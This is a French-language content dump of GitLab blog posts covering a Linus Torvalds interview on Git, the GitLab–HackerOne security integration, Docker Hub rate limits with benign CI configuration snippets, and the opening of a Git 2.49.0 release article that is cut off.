fonctionnalité ou une décision de conception dans Git que vous regrettez avec le recul ?**\n\nDes décisions de conception ? Non. Je suis convaincu que la conception globale est excellente, et vous pouvez discuter des concepts fondamentaux de Git sans jamais vous perdre dans les détails complexes de son implémentation.\n\nIl est essentiel dans un projet d'avoir un certain nombre de principes de conception générale pour guider sa direction conceptuelle.\n\nLes gens pensent parfois que l'étape de mise en œuvre doit suivre aveuglément les principes fondamentaux de la conception générale. Et c'est faux. La *mise en œuvre* aura son lot de cas particuliers compliqués parce les utilisateurs ont des besoins parfois étranges. L'essentiel est de définir une conception générale claire qui servira de référence au projet et à laquelle vous pourrez réfléchir avant de vous confronter à la réalité.\n\nEt je pense que Git offre un équilibre parfait avec un système basique de stockage d'objets (que les experts en contrôle de version appellent  « arbres de Merkle structurés » et que les spécialistes des systèmes de fichiers appellent « stockage avec adressage par contenu »). Cette conception centrale est très simple, mais elle ne représente en réalité qu'une infime partie de la totalité du code du projet. La majeure partie du *code* de Git concerne en effet toutes les opérations et fonctionnalités que l'on peut construire autour de ce modèle central. Malgré cela, cette simplicité et cette clarté fondamentales offrent au projet une structure d'ensemble solide, compréhensible et cohérente. \n\nC'est une structure semblable à celle d'Unix dont le principe est que « tout est un fichier » ou à sa gestion de processus. Ces « concepts » guident la conception, mais 99 % du code a pour objectif de créer des fonctionnalités utiles pour des utilisations concrètes.\n\nJ'ai deux mantras en technologie : « Si j'ai pu voir aussi loin, c'est parce que j'étais juché sur les épaules de géants » (Newton) et « Le génie, c'est 1 % d'inspiration et 99 % de transpiration » (Edison).\n\nBien que je sois très satisfait des grandes lignes de la conception, avec le recul, si je devais développer Git aujourd'hui, je changerais certains détails.\n\nMais honnêtement, ce sont des détails mineurs comparés à toutes les fonctionnalités *de qualité* qui ont été créées par la communauté au cours des deux dernières décennies.\n\n**Le noyau Linux a commencé à utiliser Rust comme langage de programmation pour certains de ses sous-systèmes. Pensez-vous qu'il soit logique de commencer à utiliser des langages de programmation aussi récents que celui-ci dans Git ?**\n\nEn ce qui concerne Git, mélanger les langages n'est pas une bonne idée, car cela reste toujours un processus complexe.\n\nDans le noyau Linux, le résultat final est un binaire unique, même si une grande partie peut être chargée dynamiquement sous forme de modules.\n\nEt cela rend plus difficile l'utilisation de plusieurs langages. En revanche, le noyau doit prendre en compte la sécurité de la mémoire et, par conséquent, envisager d'utiliser des langages plus récents.\n\nSi un développeur veut écrire certaines parties de Git en Rust ou dans un autre langage, il est beaucoup plus logique d'opter pour une mise en œuvre séparée plutôt que de mélanger les différents langages dans un seul binaire.\n\nLa conception du noyau Git est suffisamment simple pour autoriser des implémentations parallèles. Vous pouvez ensuite cibler des cas spécifiques pour lesquels l'utilisation d'un langage différent fait sens.\n\nJGit en est un parfait exemple. L'utilisation d'un autre langage était motivée par la présence d'un environnement web différent pour lequel ce choix de langage était beaucoup plus naturel.\n\nIl existe déjà des implémentations de certaines fonctionnalités Git de base en Rust qui font sens dans des contextes spécifiques, mais je doute que cela justifie une approche globale du type « convertissons tout en Rust ».\n\nJe recommande aux équipes qui souhaitent travailler avec Rust de cibler des domaines où ses avantages sont plus évidents. Je ne pense pas que C ait été si problématique dans le code source standard de Git.\n\n**De nouveaux systèmes de contrôle de version voient le jour tous les deux ou trois ans. Pensez-vous que Git restera pertinent à l'avenir ?**\n\nJ'ai déjà mentionné les effets de réseau dans les SCM. Selon moi, seul un système bien meilleur que Git sera en mesure de le remplacer. Ou alors il sera tellement compatible qu'il s'agira tout simplement d'une nouvelle implémentation de Git.\n\nDe plus, la situation des SCM a beaucoup évolué : Git n'a pas les énormes failles fondamentales des SCM qui l'ont précédé. Il est donc assez difficile de le surpasser.\n\nJe m'attends donc à ce que Git reste pertinent à l'avenir : les développeurs travailleront sur des améliorations *autour* de Git plutôt que de le remplacer par de nouveaux systèmes.\n\n*Remarque : cet entretien a été édité pour en raccourcir la longueur et améliorer la clarté.* \n\n## En savoir plus sur Git\n\n- [Nouveautés de Git 2.49.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-49-0/)  \n- [Nouveautés de Git 2.48.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-48-0/)  \n- [Format « reftable » de Git : guide pour les débutants](https://about.gitlab.com/fr-fr/blog/a-beginners-guide-to-the-git-reftable-format/)\n- [Commits Git : comment et pourquoi maintenir un historique propre](https://about.gitlab.com/fr-fr/blog/keeping-git-commit-history-clean/ \"Commits Git\") \n- [Git fetch vs git pull : quelle est la différence entre ces deux commandes Git ?](https://about.gitlab.com/fr-fr/blog/git-pull-vs-git-fetch-whats-the-difference/ \"Git fetch vs git pull\") \n- [Git en ligne de commande sous Windows avec Git Bash](https://about.gitlab.com/fr-fr/blog/git-bash/ \"Git Bash\")\n- [Améliorez votre workflow avec Git rebase](https://about.gitlab.com/fr-fr/blog/take-advantage-of-git-rebase/ \"Git rebase\") \n- [Projet Git](https://git-scm.com/)",[913,1047],"2025-04-22",{"slug":1505,"featured":92,"template":683},"celebrating-gits-20th-anniversary-with-creator-linus-torvalds","content:fr-fr:blog:celebrating-gits-20th-anniversary-with-creator-linus-torvalds.yml","Celebrating Gits 20th Anniversary With Creator Linus Torvalds","fr-fr/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds.yml","fr-fr/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds",{"_path":1511,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1512,"content":1518,"config":1525,"_id":1527,"_type":16,"title":1528,"_source":17,"_file":1529,"_stem":1530,"_extension":20},"/fr-fr/blog/enhance-application-security-with-gitlab-hackerone",{"title":1513,"description":1514,"ogTitle":1513,"ogDescription":1514,"noIndex":6,"ogImage":1515,"ogUrl":1516,"ogSiteName":841,"ogType":842,"canonicalUrls":1516,"schema":1517},"GitLab + HackerOne : pour une sécurité applicative renforcée","Découvrez le partenariat entre GitLab et HackerOne et comment cette intégration peut vous aider à renforcer la sécurité de vos applications.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097503/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2810%29_5ET24Q6i8ihqrAOkge7a1R_1750097503214.png","https://about.gitlab.com/blog/enhance-application-security-with-gitlab-hackerone","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab + HackerOne : pour une sécurité applicative renforcée\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-03\",\n      }",{"title":1513,"description":1514,"authors":1519,"heroImage":1515,"date":1520,"body":1521,"category":673,"tags":1522,"updatedDate":1524},[1316],"2025-04-03","La sécurité doit désormais être intégrée dès le début du processus de développement. Les entreprises ont besoin de solutions robustes qui intègrent la sécurité à chaque étape du cycle de développement logiciel. Le partenariat entre HackerOne et GitLab offre une combinaison gagnante pour les équipes de développement d'applications modernes.\n\nGitLab, la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que l'approche DevSecOps ? \") complète et alimentée par l'IA, s'associe à HackerOne, leader de la sécurité collaborative, pour combiner le meilleur des deux univers : les workflows DevSecOps rationalisés de GitLab et les puissantes capacités de gestion des vulnérabilités de HackerOne.\n\nDécouvrez dans ce tutoriel comment améliorer la productivité de vos équipes de développement et renforcer votre posture de sécurité grâce à l'intégration de GitLab à HackerOne.\n\n## Une intégration pensée pour les développeurs\n\nL'intégration de GitLab à la plateforme de cybersécurité HackerOne est aussi simple à mettre en œuvre que puissante. Lorsqu'un chercheur en cybersécurité détecte une vulnérabilité via la plateforme HackerOne, celle-ci est automatiquement convertie en un ticket GitLab. \n\nCe workflow permet de :\n\n* détecter les vulnérabilités sur la plateforme HackerOne\n* créer automatiquement des tickets GitLab à partir des vulnérabilités validées\n* permettre aux équipes de développement de traiter ces tickets directement dans leur workflow existant\n* synchroniser le statut de résolution de ces vulnérabilités entre les deux plateformes\n\nVous pouvez tirer parti de cette [intégration](https://docs.hackerone.com/en/articles/8571227-gitlab-integration) en liant les tickets GitLab aux rapports HackerOne comme références. Cette synchronisation bidirectionnelle et fluide des données entre vos rapports HackerOne et les tickets GitLab améliore ainsi la coordination entre les équipes de développement et de sécurité tout en rationalisant le traitement des failles de sécurité.\n\nPour configurer cette intégration, référez-vous aux instructions détaillées de la [documentation HackerOne dédiée à l'intégration GitLab](https://docs.hackerone.com/en/articles/10394699-gitlab-setup), dont voici les principales étapes :\n\n1. [Créez une application OAuth 2.0](https://docs.gitlab.com/ee/integration/oauth_provider.html) pour votre instance GitLab à l'aide des paramètres fournis par HackerOne\n2. Connectez la plateforme HackerOne à votre instance GitLab en utilisant cette application OAuth 2.0\n3. Autorisez HackerOne à accéder à l'API GitLab\n4. Configurez le projet GitLab vers lequel vous souhaitez transférer les rapports HackerOne \n5. Sélectionnez les champs HackerOne à mapper aux champs GitLab correspondants\n6. Définissez les événements à synchroniser, de GitLab vers HackerOne et de HackerOne vers GitLab\n\nUne fois l'intégration mise en place, la synchronisation bidirectionnelle des données entre GitLab et HackerOne devient fluide, réduisant les changements de contexte et facilitant le suivi des vulnérabilités sur les deux systèmes. \n\nLes principales fonctionnalités de cette intégration sont les suivantes :\n\n* **Création de tickets GitLab depuis HackerOne** : créez de nouveaux tickets GitLab à partir des rapports que vous recevez dans HackerOne.\n* **Connexion des rapports HackerOne aux tâches GitLab existantes.**   \n* **Synchronisation des mises à jour apportées aux rapports HackerOne vers GitLab** : les informations suivantes sont envoyées sous forme de commentaires dans le ticket GitLab correspondant.\n  * Commentaires du rapport  \n  * Changements d'état  \n  * Récompenses  \n  * Changements d'assignation  \n  * Divulgation publique  \n  * Fermeture du ticket GitLab  \n* **Synchronisation des mises à jour de GitLab vers HackerOne** : lorsque certaines actions sont effectuées dans un ticket GitLab, ces mises à jour sont reprises automatiquement dans le rapport correspondant sur HackerOne, sous forme de commentaire interne :\n  * Commentaires  \n  * Changements d'état  \n* **Mappage des niveaux de gravité HackerOne avec les labels GitLab** : définissez une priorité personnalisée lorsque vous transférez un rapport HackerOne vers GitLab.  \n* **Mappage des dates d'échéance** : définissez automatiquement une date d'échéance personnalisée dans GitLab en fonction du niveau de gravité du rapport HackerOne.\n\n![GitLab + HackerOne : Ajouter des commentaires ou modifier l'état du rapport dans GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/sync_aHR0cHM6_1750097509644.png)\n\nCes fonctionnalités renforcent la coordination entre les équipes de développement et de sécurité et rationalisent le traitement des failles de sécurité. Pour en savoir plus sur le fonctionnement de l'intégration, consultez la [documentation](https://docs.hackerone.com/en/articles/8571227-gitlab-integration) fournie par HackerOne.\n\n## Aperçu des programmes de bug bounty de HackerOne\n\nHackerOne propose des programmes de bug bounty, c'est-à-dire des initiatives en matière de cybersécurité qui récompensent la découverte et le signalement de vulnérabilités dans les systèmes logiciels, les sites web ou les applications de ses clients. Ces programmes contribuent à renforcer la sécurité des applications en :\n\n* identifiant les failles de sécurité avant que des acteurs malveillants ne puissent les exploiter\n* tirant parti de l'expertise diversifiée d'une communauté mondiale de chercheurs en cybersécurité\n* offrant un moyen rentable d'améliorer la cybersécurité\n* complétant les efforts de sécurité internes et les tests de pénétration traditionnels\n\nGitLab s'appuie sur le programme de bug bounty de HackerOne pour permettre aux chercheurs en cybersécurité de signaler les vulnérabilités présentes dans ses applications ou son infrastructure. Cette approche collaborative aide GitLab à identifier et à résoudre plus efficacement les potentielles failles de sécurité.\n\n![Page du programme de bug bounty de GitLab de HackerOne](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/hackerone_gitlab_bug_bounty_page_aHR0cHM6_1750097509645.png)\n\nEn tirant parti de la plateforme HackerOne et de la communauté mondiale de hackers éthiques, les entreprises peuvent considérablement renforcer leur posture de sécurité, identifier plus rapidement les vulnérabilités et garder une longueur d'avance sur les menaces potentielles.\n\n## Sécurisez vos applications et améliorez votre productivité avec GitLab\n\nGitLab offre une plateforme DevSecOps complète, qui intègre des fonctionnalités couvrant l'ensemble du cycle de développement logiciel, y compris des outils de [sécurité et de conformité](https://about.gitlab.com/fr-fr/solutions/security-compliance/ \"Sécurité et conformité GitLab\"). GitLab prend en charge les types de scanners de sécurité suivants :\n- Tests statiques de sécurité des applications (SAST)\n- Tests dynamiques de sécurité des applications (DAST)\n- Analyse des conteneurs\n- Analyse des dépendances\n- Analyse de l'Infrastructure as Code (IaC)\n- Fuzzing guidé par la couverture de code\n- Test de l’API web par injection de données aléatoires\n\nAvec GitLab, vous pouvez simplement appliquer un template à votre fichier de définition de [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") pour activer un scanning de sécurité. Par exemple, l'activation de SAST ne nécessite que quelques lignes de code dans le fichier `.gitlab-ci.yml` :\n\n```yaml\nstage:\n  - test\n\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n```\n\nCela exécutera SAST à l'étape de test et [détectera automatiquement les langages utilisés](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) dans votre application. Ainsi, chaque fois que vous créez une merge request, SAST analyse les différences entre la branche de fonctionnalité et la branche cible pour détecter les vulnérabilités et fournit des données précises sur chaque faille de sécurité afin d'en faciliter la correction.\n\n![Vulnérabilité d'injection NoSQL détectée dans une MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750097509647.png)\n\nLes résultats du scanner SAST peuvent bloquer le merge du code si des stratégies de sécurité sont appliquées. Les utilisateurs natifs de GitLab peuvent être définis comme approbateurs, ce qui permet d'effectuer les revues requises avant de fusionner du code non sécurisé. Cela garantit que toutes les vulnérabilités sont surveillées par les parties concernées.\n\n![Stratégie d'approbation des merge requests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750097509649.png)\n\nHackerOne a intégré GitLab à ses processus opérationnels et à ses processus de développement de manière stratégique, ce qui lui a permis de les rendre plus fluides et plus efficaces, à grande échelle, et de renforcer la collaboration entre les équipes. Parmi ces améliorations, HackerOne profite désormais de déploiements plus rapides et d'une planification inter-équipes performante.\n\n## Principaux avantages d'intégrer GitLab à HackerOne\n\nL'utilisation conjointe de HackerOne et GitLab offre les avantages suivants :\n\n* **Visibilité accrue en matière de sécurité** : les équipes de développement bénéficient d'un accès immédiat aux failles de sécurité sans quitter leur environnement de workflow principal. Cette visibilité en temps réel aide les équipes à prioriser les problèmes de sécurité parallèlement au développement des fonctionnalités.\n* **Processus de correction rationalisé** : en convertissant automatiquement les rapports HackerOne en tickets GitLab, le processus de correction des vulnérabilités s'intègre naturellement au cycle de développement standard. Cela évite les changements de contexte entre les plateformes et garantit des correctifs de sécurité en parallèle des autres tâches de développement.\n* **Temps de correction réduit** : l'intégration raccourcit considérablement le délai entre la détection d'une vulnérabilité et sa résolution. Les soumissions de vulnérabilités dans HackerOne étant immédiatement disponibles dans GitLab, les équipes de développement peuvent réagir sans délai et renforcer ainsi la posture de sécurité globale.\n* **Collaboration améliorée** : cette intégration fluidifie les échanges entre les chercheurs en cybersécurité, les équipes de sécurité et de développement. Les commentaires et mises à jour circulent entre les deux plateformes, créant ainsi un environnement collaboratif axé sur le renforcement de la sécurité.\n* **Impact réel** : les entreprises qui ont opté pour l'intégration HackerOne + GitLab ont constaté les améliorations suivantes :\n    * Une réduction pouvant atteindre 70 % du temps nécessaire entre l'identification d'une vulnérabilité et sa correction\n    * Une satisfaction accrue des équipes de développement, qui peuvent continuer à travailler dans leur environnement préféré\n    * Une visibilité accrue de la sécurité à l'échelle de l'entreprise\n    * Une allocation plus efficace des ressources de sécurité\n\n## En savoir plus sur GitLag + HackerOne \n\nPour en savoir plus sur GitLab et HackerOne, et découvrir comment nous pouvons vous aider à renforcer votre posture de sécurité, consultez les ressources suivantes :\n\n* [Utilisation de l'intégration GitLab sur HackerOne](https://docs.hackerone.com/en/articles/8571227-gitlab-integration)\n* [Programme de Bug Bounty de GitLab sur HackerOne](https://hackerone.com/gitlab?type=team)\n* [Solutions de sécurité et de conformité de GitLab](https://about.gitlab.com/fr-fr/solutions/security-compliance/)\n* [HackerOne réalise des déploiements 5  fois plus rapides avec la sécurité intégrée de GitLab](https://about.gitlab.com/fr-fr/customers/hackerone/) \n* [Documentation sur la sécurité des applications GitLab](https://docs.gitlab.com/ee/user/application_security/)\n",[673,1069,235,285,1067,784,1523],"bug bounty","2025-05-13",{"slug":1526,"featured":6,"template":683},"enhance-application-security-with-gitlab-hackerone","content:fr-fr:blog:enhance-application-security-with-gitlab-hackerone.yml","Enhance Application Security With Gitlab Hackerone","fr-fr/blog/enhance-application-security-with-gitlab-hackerone.yml","fr-fr/blog/enhance-application-security-with-gitlab-hackerone",{"_path":1532,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1533,"content":1539,"config":1546,"_id":1548,"_type":16,"title":1549,"_source":17,"_file":1550,"_stem":1551,"_extension":20},"/fr-fr/blog/prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"title":1534,"description":1535,"ogTitle":1534,"ogDescription":1535,"noIndex":6,"ogImage":1536,"ogUrl":1537,"ogSiteName":841,"ogType":842,"canonicalUrls":1537,"schema":1538},"Nouvelles limites de Docker Hub : vos pipelines GitLab CI/CD sont impactés","Les nouvelles limites de Docker Hub relatives aux pulls d'images vont affecter les pipelines GitLab. Voici ce qu'il faut savoir.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662488/Blog/Hero%20Images/blog-image-template-1800x945__3_.png","https://about.gitlab.com/blog/prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Nouvelles limites de Docker Hub : vos pipelines GitLab CI/CD sont impactés\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-03-24\",\n      }\n                  ",{"title":1534,"description":1535,"authors":1540,"heroImage":1536,"date":1541,"body":1542,"category":1543,"tags":1544,"updatedDate":1545},[846],"2025-03-24","Le 1er avril 2025, Docker va mettre en place de nouvelles [limites de débit relatives aux pulls d'images](https://docs.docker.com/docker-hub/usage/) sur Docker Hub, susceptibles d'impacter de manière significative les pipelines CI/CD de développement logiciel, y compris ceux qui s'exécutent sur GitLab. Le changement le plus notable : un plafond fixé à 10 pulls d'images par heure pour les utilisateurs non authentifiés.\n\n## Quels sont les changements attendus ?\n\nÀ compter du 1er avril, Docker va appliquer les limites strictes suivantes aux pulls d'images (téléchargements d'images) :\n\n| Type d'utilisateur | Limite de pulls d'images par heure | Nombre de dépôts publics | Nombre de dépôts privés |\n|-----------|--------------------------|-------------------------------|--------------------------------|\n| Business, Team, Pro (authentifié) | Illimité (utilisation raisonnable) | Illimité | Illimité |\n| Personal (authentifié) | 100 | Illimité | Jusqu'à 1 |\n| Utilisateurs non authentifiés | 10 par adresse IPv4 ou sous-réseau IPv6/64 | Non applicable | Non applicable |\n\nCes nouveaux quotas sont particulièrement importants pour les raisons suivantes :\n- Le proxy de dépendances de GitLab effectue actuellement des pulls à partir de Docker Hub en tant qu'utilisateur non authentifié.\n- La plupart des pipelines CI/CD qui n'utilisent pas le proxy de dépendances effectuent des pulls directement à partir de Docker Hub en tant qu'utilisateurs non authentifiés.\n- Pour les runners hébergés sur GitLab.com, le partage d'une même adresse IP ou sous-réseau par plusieurs utilisateurs les soumet collectivement à cette limite.\n\n## Quel impact sur les utilisateurs de GitLab ?\n\n**Impact sur les pulls directs depuis Docker Hub**\n\nSi vos pipelines CI/CD effectuent des pulls directement depuis Docker Hub sans authentification, ils seront limités à 10 pulls d'images par heure et par adresse IP. Dans le cas de pipelines exécutés fréquemment ou sur plusieurs projets partageant la même infrastructure de runner, cette limite sera rapidement atteinte, ce qui entraînera des échecs de pipeline.\n\n**Impact sur le proxy de dépendances de GitLab**\n\nLa fonctionnalité de proxy de dépendances de GitLab permet de mettre en cache des images Docker dans GitLab pour accélérer les pipelines et réduire la dépendance aux registres externes. Cependant, dans sa version actuelle, ce proxy effectue des pulls d'images depuis Docker Hub en tant qu'utilisateur non authentifié, ce qui signifie qu'il est lui aussi soumis à la limite des 10 pulls d'images par heure.\n\n**Impact sur les runners hébergés**\n\nSur GitLab.com, les runners hébergés s'appuient sur le [cache pull-through de Google Cloud](https://cloud.google.com/artifact-registry/docs/pull-cached-dockerhub-images?hl=fr), qui met en miroir les images fréquemment téléchargées. Cela permet d'éviter les limites de débit, comme pour les images de job définies comme `image:` ou `services:` dans votre fichier `.gitlab-ci.yml`.\n\nTout se complique légèrement lorsque les images sont téléchargées dans l'environnement du runner. Le cas le plus courant de pull d'images pendant l'exécution du runner concerne la création d'une image à l'aide de Docker-in-Docker ou de Kaniko. Dans ce scénario, l'image Docker Hub définie dans votre `Dockerfile` fait l'objet d'un pull directement depuis Docker Hub. Elle est donc susceptible d'être affectée par les limites de débit. \n\n## Comment GitLab répond à ces nouveaux quotas ?\n\nNous travaillons activement à la recherche de solutions pour atténuer les impacts liés à ces nouvelles limites :\n\n* **Authentification du proxy de dépendances :** nous avons ajouté la prise en charge de l'authentification Docker Hub dans la [fonctionnalité de proxy de dépendances de GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/331741). Cela permettra à ce dernier de télécharger des images depuis Docker Hub en tant qu'utilisateur authentifié, et ainsi d'augmenter considérablement les limites de débit.  \n* **Mise à jour de la documentation :** nous avons actualisé notre [documentation](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials) afin de fournir des instructions claires sur la configuration de l'authentification des pipelines pour Docker Hub.\n* **Préparation de l'infrastructure interne :** nous préparons notre infrastructure GitLab.com afin de réduire au maximum l'impact de ces limites sur les runners hébergés.\n\n## Comment s'y préparer ? \n\n**Option 1 : configurez l'authentification Docker Hub dans vos pipelines**\n\nSi vos pipelines effectuent des pulls directement depuis Docker Hub, vous pouvez configurer l'authentification afin d'augmenter votre limite de taux à 100 pulls d'images par heure (ou illimitée avec un abonnement payant à Docker Hub).\n\nPour cela, ajoutez vos identifiants de connexion Docker Hub aux variables CI/CD de votre projet ou groupe (ne les insérez pas directement dans le fichier `.gitlab-ci.yml`). Consultez les instructions détaillées de notre [documentation sur l'utilisation d'images Docker](https://docs.gitlab.com/ci/docker/using_docker_images/#use-statically-defined-credentials) pour configurer correctement la variable CI/CD `DOCKER_AUTH_CONFIG`.\n\n**Option 2 : utilisez le registre de conteneurs GitLab**\n\nEffectuez un push des images Docker que vous utilisez le plus souvent dans votre [registre de conteneurs GitLab](https://docs.gitlab.com/user/packages/container_registry/) afin d'éviter de devoir effectuer un pull d'images depuis Docker Hub pendant l'exécution des pipelines CI/CD. Procédez comme suit :\n\n1. Effectuez un pull de l'image depuis Docker Hub.\n2. Attribuez-lui un tag adapté à votre registre de conteneurs GitLab.\n3. Effectuez un push de l'image dans votre registre de conteneurs GitLab.\n4. Mettez à jour vos pipelines pour qu'ils effectuent un pull de l'image depuis le registre de conteneurs GitLab.\n\n```\ndocker pull busybox:latest\ndocker tag busybox:latest $CI_REGISTRY_IMAGE/busybox:latest\ndocker push $CI_REGISTRY_IMAGE/busybox:latest\n```\n\nPuis ajoutez cette ligne de commande dans votre fichier `.gitlab-ci.yml` :\n\n`image: $CI_REGISTRY_IMAGE/busybox:latest`\n\n**Option 3 : utilisez le proxy de dépendances de GitLab**\n\nLa fonctionnalité de proxy de dépendances de GitLab permet de mettre en cache les images Docker, tout en servant de proxy entre vos pipelines CI/CD et les registres Docker Hub, réduisant ainsi la dépendance aux registres externes et les risques liés aux limites de débit.  \n\nOptions d'authentification actuelles :\n* GitLab 17.10 : configurez l'authentification Docker Hub pour le proxy de dépendances à l'aide de l'[API GraphQL](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials-using-the-graphql-api).\n* GitLab 17.11 : utilisez la nouvelle interface de configuration dans les paramètres de votre groupe (déjà disponible sur GitLab.com).\n\nUne fois l'authentification correctement configurée, vous pouvez procéder comme suit :\n\n1. Configurez les identifiants de connexion Docker Hub dans les paramètres du proxy de dépendances de votre groupe :\n  - Pour GitLab 17.11+ (ou la version actuelle de GitLab.com) : accédez aux paramètres de votre groupe > Paquets et registres > Proxy de dépendances.\n  - Pour GitLab 17.10 : utilisez l'API GraphQL afin de configurer l'authentification.\n2. Mettez à jour vos pipelines de façon à ce qu'ils utilisent les URL du proxy de dépendances pour la configuration de votre pipeline CI/CD :\n`image:${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/busybox:latest`\n\n**Option 4 : envisagez d'acheter un abonnement payant à Docker Hub**\n\nPour les équipes qui utilisent Docker Hub de manière intensive, la mise à niveau vers un abonnement Docker payant (Team ou Business) permet d'accéder à un nombre illimité de pulls, ce qui peut s'avérer la solution la plus simple.\n\n## Comment limiter l'impact des nouveaux quotas de Docker Hub ?\n\nQuelle que soit l'option que vous choisissez, tenez compte de ces bonnes pratiques pour réduire au maximum l'impact des nouvelles limites de débit imposées par Docker Hub :\n\n* Utilisez des tags d'image spécifiques au lieu de `latest` pour éviter les pulls inutiles.\n* Consolidez vos fichiers Docker de façon à ce qu'ils réutilisent les mêmes images de base dans tous vos projets.\n* Planifiez l'exécution des pipelines les moins critiques en dehors des heures de pointe.\n* Tirez parti intelligemment de la mise en cache pour éviter d'effectuer maintes fois un pull des mêmes images.\n\n**Remarque :** selon la [documentation](https://docs.docker.com/docker-hub/usage/pulls/#pull-definition) de Docker Hub, le nombre de pulls augmente dès que vous effectuez le pull d'un manifeste d'image, et non en fonction de la taille de l'image ou du nombre de couches.\n\n## Calendrier et prochaines étapes\n\n**Dès maintenant**\n  * Mettez en œuvre l'authentification pour les pulls directs depuis Docker Hub.\n  * Les utilisateurs de GitLab.com peuvent déjà configurer l'authentification Docker Hub pour le proxy de dépendances en utilisant :\n    * l'API GraphQL, ou\n    * l'interface utilisateur dans les paramètres de groupe.\n  * Les utilisateurs de GitLab Self-Managed 17.10 peuvent configurer l'authentification du proxy de dépendances à l'aide de l'API GraphQL.\n\n**1er avril 2025**\n  * Les limites de débit de Docker Hub entrent en vigueur.\n\n**17 avril 2025**\n  * Sortie de GitLab 17.11 qui prendra en charge l'authentification du proxy de dépendances via l'interface utilisateur pour les instances GitLab Self-Managed. \n\nNous vous recommandons d'appliquer ces mesures bien dès maintenant pour éviter des échecs de pipelines inattendus. Pour la plupart des utilisateurs, configurer le proxy de dépendances avec l'authentification Docker Hub est la solution la plus efficace à long terme.\n\n> Vous avez des questions ou besoin d'aide pour la mise en œuvre ? Consultez [ce ticket](https://gitlab.com/gitlab-org/gitlab/-/issues/526605) dans lequel notre équipe fournit une assistance dédiée à ces changements.","bulletin-board",[110,827,1067],"2025-03-28",{"slug":1547,"featured":92,"template":683},"prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd","content:fr-fr:blog:prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd.yml","Prepare Now Docker Hub Rate Limits Will Impact Gitlab Ci Cd","fr-fr/blog/prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd.yml","fr-fr/blog/prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"_path":1553,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1554,"content":1560,"config":1566,"_id":1568,"_type":16,"title":1569,"_source":17,"_file":1570,"_stem":1571,"_extension":20},"/fr-fr/blog/whats-new-in-git-2-49-0",{"title":1555,"description":1556,"ogTitle":1555,"ogDescription":1556,"noIndex":6,"ogImage":1557,"ogUrl":1558,"ogSiteName":841,"ogType":842,"canonicalUrls":1558,"schema":1559},"Nouveautés de Git 2.49.0","Découvrez la dernière version de Git, y compris les performances améliorées avec l'intégration de zlib-ng et la commande git-backfill(1).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png","https://about.gitlab.com/blog/whats-new-in-git-2-49-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Nouveautés de Git 2.49.0\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Toon Claes\"}],\n        \"datePublished\": \"2025-03-14\",\n      }\n                  ",{"title":1555,"description":1556,"authors":1561,"heroImage":1557,"date":1563,"body":1564,"category":928,"tags":1565,"updatedDate":1457},[1562],"Toon Claes","2025-03-14","Le projet [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \") a récemment publié sa version [Git 2.49.0](https://lore.kernel.org/git/xmqqfrjfilc8.fsf@gitster.g/). Jetons un coup d'œil aux points forts de cette nouvelle version, comprenant des contributions de l'équipe Git de GitLab et de la communauté Git au sens large. \n\n## Commande git-backfill(1) associée à la nouvelle API path-walk\n\nLorsque vous exécutez un [`git-clone(1)`](https://git-scm.com/docs/git-clone/fr) d'un dépôt Git, l'option [`--filter`](https://git-scm.com/docs/git-clone/fr#git-clone-code--filterltspcdufiltregtcode) vous permet de créer un _clone partiel_. Dans ce type de clonage, le serveur n'envoie qu'un sous-ensemble des objets accessibles, en fonction du filtre d'objets spécifié. Par exemple, la création d'un clone avec ` --filter=blob:none` signifie que Git ne récupérera pas les blobs (ou contenus de fichiers) auprès du serveur et créera ainsi un _clone blobless_.\n\nLes *clones blobless* sont des clones très légers qui contiennent l'ensemble des commits et des arbres accessibles, mais aucun blob. Lorsque vous effectuez une opération comme [`git-checkout(1)`](https://git-scm.com/docs/git-checkout/fr), Git 